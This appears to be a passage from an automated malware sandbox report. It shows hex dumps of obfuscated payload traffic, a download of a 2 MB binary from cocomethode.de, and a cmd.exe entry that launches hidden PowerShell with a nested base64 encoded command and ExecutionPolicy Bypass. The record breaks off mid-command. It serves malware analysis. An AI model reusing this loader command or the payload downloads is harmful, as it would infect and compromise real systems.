Data Ascii: jBGsBO`B{B7C1jBG.BOB{B7CjBGBOB{B7C{jBGBOB{B7C^jBGBOtB{B7CjBGBO{B{B7CjBGBO>B{B7CjBG<BO-B{B7CjBGBOB
2024-12-11 11:15:46 UTC	174	IN	Data Raw: 4f 43 c1 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 48 8e 6a 42 0a cf 47 a1 4c e4 42 0a c9 42 0a cf 4f ab c0 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab a8 89 6a 42 0a cf 47 89 4c e4 42 0a c9 42 0a cf 4f 93 c0 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 88 89 6a 42 0a cf 47 f1 4c e4 42 0a c9 42 0a cf 4f fb c0 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab e8 89 6a 42 0a cf 47 e9 4c e4 42 0a c9 42 0a cf 4f e3 c0 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab c8 89 6a 42 0a cf 47 d9 4c e4 42 0a c9 42 0a cf 4f d3 c0 1a 42 0a c1 7b 42 37 43 81 0a c9 Data Ascii: OCB{B7CHjBGLBBOB{B7CjBGLBBOB{B7CjBGLBBOB{B7CjBGLBBOB{B7CjBGLBBOB{B7C
2024-12-11 11:15:46 UTC	1369	IN	Data Raw: 92 ab 28 89 6a 42 0a cf 47 c9 4c e4 42 0a c9 42 0a cf 4f 3b c0 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 08 89 6a 42 0a cf 47 31 4c e4 42 0a c9 42 0a cf 4f 33 c0 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 68 89 6a 42 0a cf 47 39 4c e4 42 0a c9 42 0a cf 4f 33 c0 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 48 89 6a 42 0a cf 47 21 4c e4 42 0a c9 42 0a cf 4f 23 c0 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab a8 88 6a 42 0a cf 47 21 4c e4 42 0a c9 42 0a cf 4f 03 c1 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 88 88 6a 42 0a cf 47 09 4c e4 42 0a c9 42 0a cf 4f 6b c1 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab e8 88 6a 42 0a cf 47 71 4c e4 42 0a c9 42 0a cf 4f 53 c1 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab c8 88 6a 42 0a cf 47 59 4c e4 42 0a c9 42 0a cf 4f bb c0 1a 42 0a c1 7b 42 37 43 81 0a Data Ascii: (jBGLBBO;B{B7CjBG1LBBO3B{B7ChjBG9LBBO3B{B7CHjBG!LBBO#B{B7CjBG!LBBOB{B7CjBGLBBOkB{B7CjBGqLBBOSB{B7CjBGYLBBOB{B7C
2024-12-11 11:15:46 UTC	1369	IN	Data Raw: 7b 42 37 43 81 0a c9 92 ab 48 84 6a 42 0a cf 47 99 49 e4 42 0a c9 42 0a cf 4f eb c2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab a8 87 6a 42 0a cf 47 89 49 e4 42 0a c9 42 0a cf 4f d3 c2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 88 87 6a 42 0a cf 47 f1 49 e4 42 0a c9 42 0a cf 4f 3b c2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab e8 87 6a 42 0a cf 47 d9 49 e4 42 0a c9 42 0a cf 4f 23 c2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab c8 87 6a 42 0a cf 47 c1 49 e4 42 0a c9 42 0a cf 4f 0b c2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 28 87 6a 42 0a cf 47 29 49 e4 42 0a c9 42 0a cf 4f 73 c2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 08 87 6a 42 0a cf 47 21 49 e4 42 0a c9 42 0a cf 4f 73 c2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 68 87 6a 42 0a cf 47 09 49 e4 42 0a c9 42 0a cf 4f 5b c2 1a 42 0a Data Ascii: {B7CHjBGIBBOB{B7CjBGIBBOB{B7CjBGIBBO;B{B7CjBGIBBO#B{B7CjBGIBBOB{B7C(jBG)IBBOsB{B7CjBG!IBBOsB{B7ChjBGIBBO[B
2024-12-11 11:15:46 UTC	1369	IN	Data Raw: 4f 83 3c 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab e8 82 6a 42 0a cf 47 69 4b e4 42 0a c9 42 0a cf 4f eb 3c 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab c8 82 6a 42 0a cf 47 61 4b e4 42 0a c9 42 0a cf 4f f3 3c 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 28 82 6a 42 0a cf 47 49 4b e4 42 0a c9 42 0a cf 4f fb 3c 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 08 82 6a 42 0a cf 47 b1 4a e4 42 0a c9 42 0a cf 4f f3 3c 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 68 82 6a 42 0a cf 47 99 4a e4 42 0a c9 42 0a cf 4f db 3c 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 48 82 6a 42 0a cf 47 81 4a e4 42 0a c9 42 0a cf 4f d3 3c 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab a8 fd 6a 42 0a cf 47 f1 4a e4 42 0a c9 42 0a cf 4f 3b 3c 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 88 fd 6a 42 0a cf 47 f1 4a e4 42 0a c9 42 0a Data Ascii: O<B{B7CjBGiKBBO<B{B7CjBGaKBBO<B{B7C(jBGIKBBO<B{B7CjBGJBBO<B{B7ChjBGJBBO<B{B7CHjBGJBBO<B{B7CjBGJBBO;<B{B7CjBGJBB
2024-12-11 11:15:46 UTC	1369	IN	Data Raw: e4 42 0a c9 42 0a cf 4f 83 3e 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 08 f9 6a 42 0a cf 47 61 44 e4 42 0a c9 42 0a cf 4f 93 3e 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 68 f9 6a 42 0a cf 47 61 44 e4 42 0a c9 42 0a cf 4f 83 3e 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 48 f9 6a 42 0a cf 47 51 44 e4 42 0a c9 42 0a cf 4f eb 3e 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab a8 f8 6a 42 0a cf 47 41 44 e4 42 0a c9 42 0a cf 4f d3 3e 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 88 f8 6a 42 0a cf 47 41 44 e4 42 0a c9 42 0a cf 4f cb 3e 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab e8 f8 6a 42 0a cf 47 a9 47 e4 42 0a c9 42 0a cf 4f 33 3e 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab c8 f8 6a 42 0a cf 47 91 47 e4 42 0a c9 42 0a cf 4f 1b 3e 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 28 f8 6a 42 0a cf 47 89 Data Ascii: BBO>B{B7CjBGaDBBO>B{B7ChjBGaDBBO>B{B7CHjBGQDBBO>B{B7CjBGADBBO>B{B7CjBGADBBO>B{B7CjBGGBBO3>B{B7CjBGGBBO>B{B7C(jBG

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.11.20	49787	172.67.128.139	443

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:16:41 UTC	71	OUT	GET /StaticFile/TermServiceTryRun/46 HTTP/1.1 Host: cocomethode.de
2024-12-11 11:16:42 UTC	1365	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:16:42 GMT Content-Type: application/octet-stream Content-Length: 2183168 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image hash: BFF2365257251B6BA227A5E748DBD62E CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BWITeZ6Sve%2FwVgUDmclPhbKctcnYoFHqoot3Emuuo6xvzFeiNzmkHdXJp6i6JF6WxRH2PROzDZx5Vi8OeyJR0J%2BcJu%2FVGgQhkRxbaE%2FX9zkAf82dKqrlrSuplSVm8tPy0FulwLu96XeZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29537&min_rtt=1021&rtt_var=26402&sent=10677&recv=4850&lost=0&retrans=0&sent_bytes=15128953&recv_bytes=92443&delivery_rate=20395809&cwnd=218&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0510605fc744f1-ATL server-timing: cfL4;desc="?proto=TCP&rtt=50&min_rtt=41&rtt_var=19&sent=12&recv=14&lost=0&retrans=0&sent_bytes=23826&recv_bytes=1831&delivery_rate=1309660000&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=48&min_rtt=44&rtt_var=16&sent=9&recv=11&lost=0&retrans=0&sent_bytes=23037&recv_bytes=960&delivery_rate=1148824561&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:16:42 UTC	431	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 35 36 26 6d 69 6e 5f 72 74 74 3d 34 36 26 72 74 74 5f 76 61 72 3d 31 39 26 73 65 6e 74 3d 31 30 26 72 65 63 76 3d 31 32 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 33 32 33 34 26 72 65 63 76 5f 62 79 74 65 73 3d 39 34 36 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 33 33 36 33 38 37 37 35 35 26 63 77 6e 64 3d 32 32 33 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=56&min_rtt=46&rtt_var=19&sent=10&recv=12&lost=0&retrans=0&sent_bytes=23234&recv_bytes=946&delivery_rate=1336387755&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=11
2024-12-11 11:16:42 UTC	942	IN	Data Raw: 63 74 7e 2e 2c 2e 2e 2e 2a 2e 21 2e d1 d1 2e 2e 96 2e 2e 2e 2e 2e 2e 2e 6e 2e 34 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2f 2e 2e 94 3e 2e 20 31 9a 27 e3 0f 96 2f 62 e3 0f be be 7a 46 47 5d 0e 5e 5c 41 49 5c 4f 43 0e 43 5b 5d 5a 0e 4c 4b 0e 5c 5b 40 0e 5b 40 4a 4b 5c 0e 79 47 40 1d 1c 23 24 0a 19 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e Data Ascii: ct~.,...*.!..........n.4................................../..>. 1'/bzFG]^\AI\OCC[]ZLK\[@[@JK\yG@#$.......................................................................................................................................
2024-12-11 11:16:42 UTC	1369	IN	Data Raw: 2e 6e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 1e 0c 2e 2e 2e 2e 2e 2e 7e 0f 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 6e 2e 2e 6e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2a 3e 6e 2e 2d 29 6c 41 41 42 4b 4f 40 2f 2e 2e 2e 2e 2f 2e 2e 2e 2e 3e 6e 2e 2b 68 4f 42 5d 4b 2a 7a 5c 5b 4b 28 7d 57 5d 5a 4b 43 2c 2e 2e 2e 1a 3e 6e 2e 2c 26 6f 40 5d 47 6d 46 4f 5c 2f 2e 2e 2e 2e d1 2e 2e 2e 2c 2e 2e 2e 2e 7e 3e 6e 2e 27 2a 6d 46 4f 5c 2d 2e 2e 2e 2e d1 d1 2e 2e 2c 2e 2e 2e 2e 46 3e 6e 2e 2f 26 7d 46 41 5c 5a 67 40 5a 2e ae d1 d1 d1 51 2e 2e 2e 2c 2e 2e 2e 2e aa 3e 6e 2e 2f 26 7d 43 4f 42 42 67 40 5a 2c 2e ae d1 d1 d1 51 2e 2e 2c 2e 2e 2e 2e 8e 3e 6e 2e 2f 29 67 40 5a 4b 49 4b 5c 2a 2e 2e 2e Data Ascii: .n...................~.............n..n........................................>n.-)lAABKO@/..../....>n.+hOB]Kz\[K(}W]ZKC,...>n.,&o@]GmFO\/.......,....~>n.'mFO\-......,....F>n./&}FA\Zg@Z.Q...,....>n./&}COBBg@Z,.Q..,....>n./)g@ZKIK\...
2024-12-11 11:16:42 UTC	1369	IN	Data Raw: 2c 29 67 61 48 48 5d 4b 5a 2c 2e 5e 3f 6e 2e 36 2e 2e 2e 2c 24 67 43 5e 42 69 4b 5a 5a 4b 5c 2c 2e 2c 2e 2e 2e 1e 3b 6e 2e 3a 21 7e 67 40 5a 4b 5c 48 4f 4d 4b 7a 4f 4c 42 4b 66 3b 6e 2e 2c 2e 2e 62 3b 6e 2e 20 21 7a 67 40 5a 4b 5c 48 4f 4d 4b 7a 4f 4c 42 4b ea 6b 2a 2e 2e 2e 2e 2e 2e 2c 2e 2e 2e b2 3e 6e 2e 2e 2e 2e 2e 2c 24 6b 40 5a 5c 57 6d 41 5b 40 5a 2c 2e 2e 2e 2e 2e 2a 2e 2e 2e 2c 29 6b 40 5a 5c 47 4b 5d 2c 2e 2c 2e 2e 2e 2e b2 3b 6e 2e 20 29 7a 63 4b 5a 46 41 4a 26 2e 2e 2e 2e 2e 2e 2e 2e 2c 2e 2e 2e 2e 3f 6e 2e 2e 2e 2e 2e 2c 2a 6d 41 4a 4b 2c 2e 2e 3f 6e 2e 2a 2e 2e 2e 2c 2a 6a 4f 5a 4f 2c 2e 2c 2e 28 2e 25 36 a0 6e 2e 22 08 41 5e 71 6b 5f 5b 4f 42 47 5a 57 2e 2e 2e 3e 6e 2e 2c 3c b6 3b 6e 2e 2a 62 4b 48 5a 2c 2e 3c b6 3b 6e 2e 2b 7c 47 49 46 5a Data Ascii: ,)gaHH]KZ,.^?n.6...,$gC^BiKZZK\,.,...;n.:!~g@ZK\HOMKzOLBKf;n.,..b;n. !zg@ZK\HOMKzOLBKk......,...>n.....,$k@Z\WmA[@Z,........,)k@Z\GK],.,....;n. )zcKZFAJ&........,....?n.....,mAJK,..?n....,jOZO,.,.(.%6n."A^qk_[OBGZW...>n.,<;n.bKHZ,.<;n.+\|GIFZ
2024-12-11 11:16:42 UTC	1181	IN	Data Raw: 2c 2e 2c 2e 02 2e c6 a3 6e 2e 22 67 40 5d 5a 4f 40 4d 4b 7d 47 54 4b 2d 2e b2 3e 6e 2e 26 2e 2f 2e 2e 2e 2e 2e 2e 2e 2a 7d 4b 42 48 2c 2e 2c 2e 12 2e de bc 6e 2e 22 67 40 46 4b 5c 47 5a 5d 68 5c 41 43 2d 2e 2e 3e 6e 2e 26 2e 2c 2e 2e 2e 2e 2e 2e 2e 2a 7d 4b 42 48 2c 2e 2e 3a 3d 6e 2e 2f 2e 28 6f 6d 42 4f 5d 5d 2c 2e 2c 2e 15 2e 76 bd 6e 2e 23 63 4b 5a 46 41 4a 6f 4a 4a 5c 4b 5d 5d 2d 2e 2e 3f 6e 2e 26 2e 2c 2e 2e 2e 2e 2e 2e 2e 2a 7d 4b 42 48 2c 2e 3c ca 3f 6e 2e 2f 2e 2a 60 4f 43 4b 2c 2e 2c 2e 15 2e e6 bd 6e 2e 23 63 4b 5a 46 41 4a 6f 4a 4a 5c 4b 5d 5d 2d 2e 2e 3f 6e 2e 26 2e 2c 2e 2e 2e 2e 2e 2e 2e 2a 7d 4b 42 48 2c 2e 2c 96 3c 6e 2e 2f 2e 2a 60 4f 43 4b 2c 2e 2c 2e 68 2e de bd 6e 2e 24 63 4b 5a 46 41 4a 60 4f 43 4b 2d 2e 96 3c 6e 2e 26 2e 2d 2e 2e 2e Data Ascii: ,.,..n."g@]ZO@MK}GTK-.>n.&./.......}KBH,.,..n."g@FK\GZ]h\AC-..>n.&.,.......}KBH,..:=n./.(omBO]],.,..vn.#cKZFAJoJJ\K]]-..?n.&.,.......}KBH,.<?n./.`OCK,.,..n.#cKZFAJoJJ\K]]-..?n.&.,.......}KBH,.,<n./.`OCK,.,.h.n.$cKZFAJ`OCK-.<n.&.-...
2024-12-11 11:16:42 UTC	1369	IN	Data Raw: 6e 2e 2e 2e 2a 7d 4b 42 48 2c 2e 2f 2e 2e 2e 2e 2f 2e 29 63 4b 5d 5d 4f 49 4b 2c 2e 2c 2e 05 2e c2 a3 6e 2e 25 60 4b 59 67 40 5d 5a 4f 40 4d 4b 2d 2e b2 31 6e 2e 26 2e 2f 2e 2e 2e 2e 2e 2e 2e 2a 7d 4b 42 48 2c 2e 2c 2e 02 2e 2a a0 6e 2e 22 68 5c 4b 4b 67 40 5d 5a 4f 40 4d 4b 2d 2e 2e 2e 2e 2e 26 2e 2f 26 b2 31 6e 2e 2e 2e 2a 7d 4b 42 48 2c 2e 2c 2e 09 2e de a0 6e 2e 29 6a 4b 5d 5a 5c 41 57 2d 2e 2e 2e 2e 2e 26 2e 2f 26 b2 31 6e 2e 2e 2e 2a 7d 4b 42 48 2c 2e 2c 2e 2e 2e 2e 8e 31 6e 2e 29 29 7a 61 4c 44 4b 4d 5a 52 39 6e 2e 2e 2e 2e 2e 2e 2e 28 7d 57 5d 5a 4b 43 2e 2e 2e 2e 2c 2e 2e 2e 2e 2e 32 0e 6e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 16 0e 6e 2e 2e 2e 2e 2e 32 0e 6e 2e 2e 2e 2e 2e 0c 0e 6e 2e 26 2e 2e 2e 0a 39 6e 2e 32 be 6e 2e 0a be 6e 2e 22 bd 6e 2e Data Ascii: n...}KBH,./..../.)cK]]OIK,.,..n.%`KYg@]ZO@MK-.1n.&./.......}KBH,.,..n."h\KKg@]ZO@MK-.....&./&1n...}KBH,.,..n.)jK]Z\AW-.....&./&1n...*}KBH,.,....1n.))zaLDKMZR9n.......(}W]ZKC....,.....2n.............n.....2n.....n.&...9n.2n.n."n.
2024-12-11 11:16:42 UTC	1369	IN	Data Raw: 2b 68 62 41 4d 45 2c 2e 2c 2e 2c 2e 26 26 b8 6e 2e 2b 6b 40 5a 4b 5c 2e 2e 2e 2e 2e 2e 2e 2c 2e 26 1a b8 6e 2e 2a 6b 56 47 5a 2e 2e 2e 2e 2e 2e 2e 2c 2e 2e 2e 2e be 0a 6e 2e 20 26 7a 63 41 40 47 5a 41 5c 32 2e 2e 2e 2e 2e 2e 2e 2e 29 2e 2e 2e b2 3e 6e 2e 2e 2e 2e 2e 2e 24 68 62 41 4d 45 6d 41 5b 40 5a 22 2e 1e 0c 6e 2e fe a0 6e 2e 2e 2e b2 3e 6e 2e 2a 2e 2e 2e 2e 21 68 7c 4b 4d 5b 5c 5d 47 41 40 6d 41 5b 40 5a 2c 2e ca 3e 6e 2e 26 2e 2e 2e 2e 23 68 61 59 40 47 40 49 7a 46 5c 4b 4f 4a 2c 2e 2e 3f 6e 2e 22 2e 2e 2e 2e 24 68 62 41 4d 45 6b 58 4b 40 5a 2c 2e b2 3e 6e 2e 3e 2e 2e 2e 2e 24 68 7d 5e 47 40 6d 41 5b 40 5a 2c 2e b2 0d 6e 2e 3a 2e 2e 2e 2e 24 68 79 4f 47 5a 7f 5b 4b 5b 4b 2c 2e 06 0a 6e 2e 36 2e 2e 2e 2e 24 68 7f 5b 4b 5b 4b 62 41 4d 45 2c 2e 2c 2e Data Ascii: +hbAME,.,.,.&&n.+k@ZK\.......,.&n.kVGZ.......,....n. &zcA@GZA\2........)...>n......$hbAMEmA[@Z".n.n...>n.....!h\|KM[\]GA@mA[@Z,.>n.&....#haY@G@IzF\KOJ,..?n."....$hbAMEkXK@Z,.>n.>....$h}^G@mA[@Z,.n.:....$hyOGZ[K[K,.n.6....$h[K[KbAME,.,.
2024-12-11 11:16:42 UTC	1369	IN	Data Raw: 2e 2a 2e 2e 2e 2e 2e 2e 2e c6 08 6e 2e 3a 04 6e 2e b6 07 6e 2e 2e 2e 2e 2e 2e 2e 2e 2e 1e 04 6e 2e 2e 2e 2e 2e 3a 04 6e 2e 2e 2e 2e 2e 34 04 6e 2e 22 2e 2e 2e 0a 39 6e 2e 32 be 6e 2e 0a be 6e 2e 22 bd 6e 2e 2a bd 6e 2e 0a bd 6e 2e 06 bd 6e 2e 02 bd 6e 2e 0e bd 6e 2e c2 a3 6e 2e 2a a0 6e 2e de a0 6e 2e 2e 2e 2e 2e 2e 2e 3f 7a 60 41 7c 4b 48 6d 41 5b 40 5a 61 4c 44 4b 4d 5a 1e 04 6e 2e 29 3f 7a 60 41 7c 4b 48 6d 41 5b 40 5a 61 4c 44 4b 4d 5a 3a 04 6e 2e b2 31 6e 2e 2e 2e 28 7d 57 5d 5a 4b 43 2e 2e 2e 2e 2c 2e 2e 2e 4e 04 6e 2e 3a 22 7e 7d 46 41 5c 5a 7d 5a 5c 47 40 49 ca 3f 6e 2e 2c 2e 56 04 6e 2e 24 24 7b 7a 68 16 7d 5a 5c 47 40 49 c7 d3 2c 2e a2 04 6e 2e 24 23 7c 4f 59 6c 57 5a 4b 7d 5a 5c 47 40 49 d1 d1 2c 2e 2e 8a 04 6e 2e 3a 2b 7e 6c 57 5a 4b 9a 3e 6e Data Ascii: ........n.:n.n.........n.....:n.....4n."...9n.2n.n."n.n.n.n.n.n.n.*n.n.......?z`A\|KHmA[@ZaLDKMZn.)?z`A\|KHmA[@ZaLDKMZ:n.1n...(}W]ZKC....,...Nn.:"~}FA\Z}Z\G@I?n.,.Vn.$${zh}Z\G@I,.n.$#\|OYlWZK}Z\G@I,..n.:+~lWZK>n
2024-12-11 11:16:42 UTC	1369	IN	Data Raw: 78 62 41 40 49 5d 2c 2e 2e 2e 2e 2e 2c 2e 2e 2e 2c 28 78 79 41 5c 4a 5d 2c 2e 2e 2e 2e 2e 2c 2e 2e 2e 2c 28 78 6c 57 5a 4b 5d 2c 2e 2e 2e 2e 2e 2e 2e 2e 2e 2c 29 7c 4f 59 6a 4f 5a 4f 2c 2e 2c 2e 2e 2e 2e 7e 01 6e 2e 2d 27 7a 7a 57 5e 4b 65 47 40 4a 2f 2e 2e 2e 2e 38 2e 2e 2e 62 01 6e 2e 27 5a 45 7b 40 45 40 41 59 40 27 5a 45 67 40 5a 4b 49 4b 5c 28 5a 45 6d 46 4f 5c 23 5a 45 6b 40 5b 43 4b 5c 4f 5a 47 41 40 29 5a 45 68 42 41 4f 5a 26 5a 45 7d 5a 5c 47 40 49 2b 5a 45 7d 4b 5a 29 5a 45 6d 42 4f 5d 5d 26 5a 45 63 4b 5a 46 41 4a 29 5a 45 79 6d 46 4f 5c 27 5a 45 62 7d 5a 5c 47 40 49 27 5a 45 79 7d 5a 5c 47 40 49 27 5a 45 78 4f 5c 47 4f 40 5a 29 5a 45 6f 5c 5c 4f 57 26 5a 45 7c 4b 4d 41 5c 4a 25 5a 45 67 40 5a 4b 5c 48 4f 4d 4b 29 5a 45 67 40 5a 18 1a 24 5a 45 Data Ascii: xbA@I],.....,...,(xyA\J],.....,...,(xlWZK],.........,)\|OYjOZO,.,....~n.-'zzW^KeG@J/....8...bn.'ZE{@E@AY@'ZEg@ZKIK\(ZEmFO\#ZEk@[CK\OZGA@)ZEhBAOZ&ZE}Z\G@I+ZE}KZ)ZEmBO]]&ZEcKZFAJ)ZEymFO\'ZEb}Z\G@I'ZEy}Z\G@I'ZExO\GO@Z)ZEo\\OW&ZE\|KMA\J%ZEg@ZK\HOMK)ZEg@Z$ZE
2024-12-11 11:16:42 UTC	1369	IN	Data Raw: 10 6e 2e 6d 2e da d1 9f 10 6e 2e 6d 2e da d1 2d 11 6e 2e 6d 2e da d1 78 11 6e 2e 6d 2e da d1 87 11 6e 2e 6d 2e da d1 d2 11 6e 2e 6d 2e da d1 63 6e 6e 2e 6d 2e da d1 bc 6e 6e 2e 6d 2e da d1 f6 6e 6e 2e 6d 2e da d1 30 6f 6e 2e 6d 2e da d1 4a 6f 6e 2e 6d 2e da d1 86 6f 6e 2e 6d 2e da d1 d8 6f 6e 2e 6d 2e da d1 02 6c 6e 2e 6d 2e da d1 4a 6c 6e 2e 6d 2e da d1 8e 6c 6e 2e 6d 2e da d1 f5 6c 6e 2e 6d 2e da d1 37 6d 6e 2e 6d 2e da d1 47 6d 6e 2e 6d 2e da d1 84 6d 6e 2e 6d 2e da d1 c8 6d 6e 2e 6d 2e da d1 1a 6a 6e 2e 6d 2e da d1 5c 6a 6e 2e 6d 2e da d1 80 6a 6e 2e 6d 2e da d1 2d 6b 6e 2e 6d 2e da d1 44 6b 6e 2e 6d 2e da d1 ec 6b 6e 2e 6d 2e da d1 39 68 6e 2e 6d 2e da d1 ab 68 6e 2e 6d 2e da d1 ca 68 6e 2e 6d 2e da d1 6e 69 6e 2e 6d 2e da d1 88 69 6e 2e 6d 2e da d1 Data Ascii: n.m.n.m.-n.m.xn.m.n.m.n.m.cnn.m.nn.m.nn.m.0on.m.Jon.m.on.m.on.m.ln.m.Jln.m.ln.m.ln.m.7mn.m.Gmn.m.mn.m.mn.m.jn.m.\jn.m.jn.m.-kn.m.Dkn.m.kn.m.9hn.m.hn.m.hn.m.nin.m.in.m.

Target ID:	0
Start time:	06:14:10
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /v /k "powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVA